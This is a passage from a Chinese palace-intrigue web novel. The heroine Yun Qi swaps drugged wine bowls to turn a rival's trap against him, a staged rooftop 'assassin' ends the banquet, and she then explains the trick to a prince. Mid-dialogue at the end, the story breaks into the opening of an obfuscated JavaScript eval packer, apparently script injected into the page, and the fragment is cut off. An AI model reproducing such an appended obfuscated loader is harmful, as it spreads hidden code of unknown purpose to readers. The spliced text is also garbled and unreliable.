云七一直悬在喉咙的心,此时才真正落下,那酒碗果然是动过手脚的,现在只需要专心欣赏,他们如何自食其果。
玄元瑧眼底,闪过一丝玩味,虽然他不清楚玄元洛到底动了什么手脚,但心知这局应该是被破了。
而且破局的一定是云七。
刚才她去质问阿克,分明是在做戏,借此遮掩她的真实目的。
除了玄元瑧,知道内情的玄元洛、西岭紫和阿克,也已经意识到出了问题,而且立刻确认岔子就出在云七身上。
绝对不能让阿克再喝下去了,醉酒之后认输磕头事小,幻梦丝药性催发后,言行无状,宛如疯癫,足以让他身败名裂。
西岭紫看了一眼扶山唳,垂在矮几下面的手快速屈伸,做了几个手势。
这个角度,只有扶山唳一个人能看到,其余人都看不到她的手指动作。
扶山唳站起身:“你们慢慢喝,我去更衣。”
金连年和阿克再次喝下一碗,两个人刚把碗放下,忽然屋顶上哗啦一声,出现碗口大的一个洞,一支小箭射向玄元洛。
“有刺客!”
玄元洛身后亲随厉声喝道,闪身挡在玄元洛身前,一掌击出,那支小箭反弹开去,挟着劲风,击碎了矮几上的酒瓶、酒杯,碎片激射开去。
哐当当。
众人纷纷散避碎片,矮几上的碗碟被碎片溅到,乒乒乓乓碎裂开来。
只听上面瓦片哐当乱响,碎片从屋顶掉落,不时有小洞出现,小箭从小洞里射出,像是有人一边奔逃,一边出手。
一块掉落的瓦片,挟着风声,砸到阿克头上,阿克身形晃了晃,双眼一闭,倒在地上。
“大哥!”阿盖扑上前,伏在阿克身上。
湖心阁外站着的亲随们,听到里面动静,已经冲了进来,分别护住玄元瑧和玄元洛,一时间整个内厅杯盘狼藉。
玄元洛:“都跑进来干什么,快去抓刺客!”
亲随:“殿下安危为重,属下先护着殿下离开这里。”
玄元瑧似笑非笑:“区区刺客,连面都不敢露,三弟倒也不必如此惊慌失措。”
玄元洛正色道:“二哥,你我身份尊贵,再怎么小心也不为过。”
……
刺客自然是没抓着,筵席自然也就到此为止,至于金连年和阿克的拼酒,既然阿克已经受伤昏迷,只能不了了之。
众人离开湛庐,各回各家。
扶山唳坐在自家马车里,闭目养神,过了一会,他忽然睁开眼睛,吩咐一帘之隔的车夫:“云七中途从内厅离开,再回来时,对我有了杀意,去查一下,她离开内厅,都去了什么地方,见过什么人。”
……
云七、季临一行六人坐上租来的马车,刚走出没多久,就见前面横着一辆豪华阔大的马车,挡住他们的去路。
车帘掀开,玄元瑧坐在里面,微笑道:“我跟云七说几句话。”
云七下了马车,上了玄元瑧的马车,在他对面坐下。
车帘垂下,马车开始慢慢行驶。
想起玄元洛一行人,借着遇刺名头、落荒而逃的情形,玄元瑧只觉浑身像泡在温泉里一般舒爽,满意地看着云七:“你是怎么破了他们的局?”
云七:“装秋露白的酒瓶是泥封的,无法动手脚,那就应该是在酒碗上,我故意去质问阿克,趁机把金连年和他的酒碗换了一下。”
玄元瑧拊掌笑道:“原来如此,我就知道,你这样的人,怎么可能被阿克迷惑。”
云七感慨:“有的人明明很普通,偏偏又迷之自信。”
玄元瑧:“老三应该已经猜到跟你有关系,他倒是见机的快,刺客,哼,湛庐那种地方,怎么可能有刺客,应该是扶山唳捣鬼。”
云七:“一群输不起的白痴罢了。”
玄元瑧哈哈大笑:“不浪费时间在白痴身上了,那位松绿衣袍少女,可联系到了?”
云七:“那位松绿衣袍姐姐说,她每月的第十五天,会在胡姬酒肆吃晚食,你如果想见她,到时可以去那里。”
玄元瑧喜上眉梢,点头:“好。”
……
云七从玄元瑧马车下来,季临他们的马车就在不远处等着,她上了马车,见季临等人齐刷刷盯着自己。
她莫名其妙:“怎么了?”
季临:“阿克在幻荒小天地对你说的话,都是假的,你可千万别相信。”
云七懒洋洋一笑,从衣袋里取出两只酒碗,正是那两只紫衣冰裂纹碗。
季临瞪大眼睛:“这酒碗怎么到你那里了?”
云七:“当时趁乱拿走了。”
金连年突然想到当年在莲湖小天地里,那名松绿衣衫少女摸走那把透明柳叶刀的情景,云七怎么也有这嗜好?
云七:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))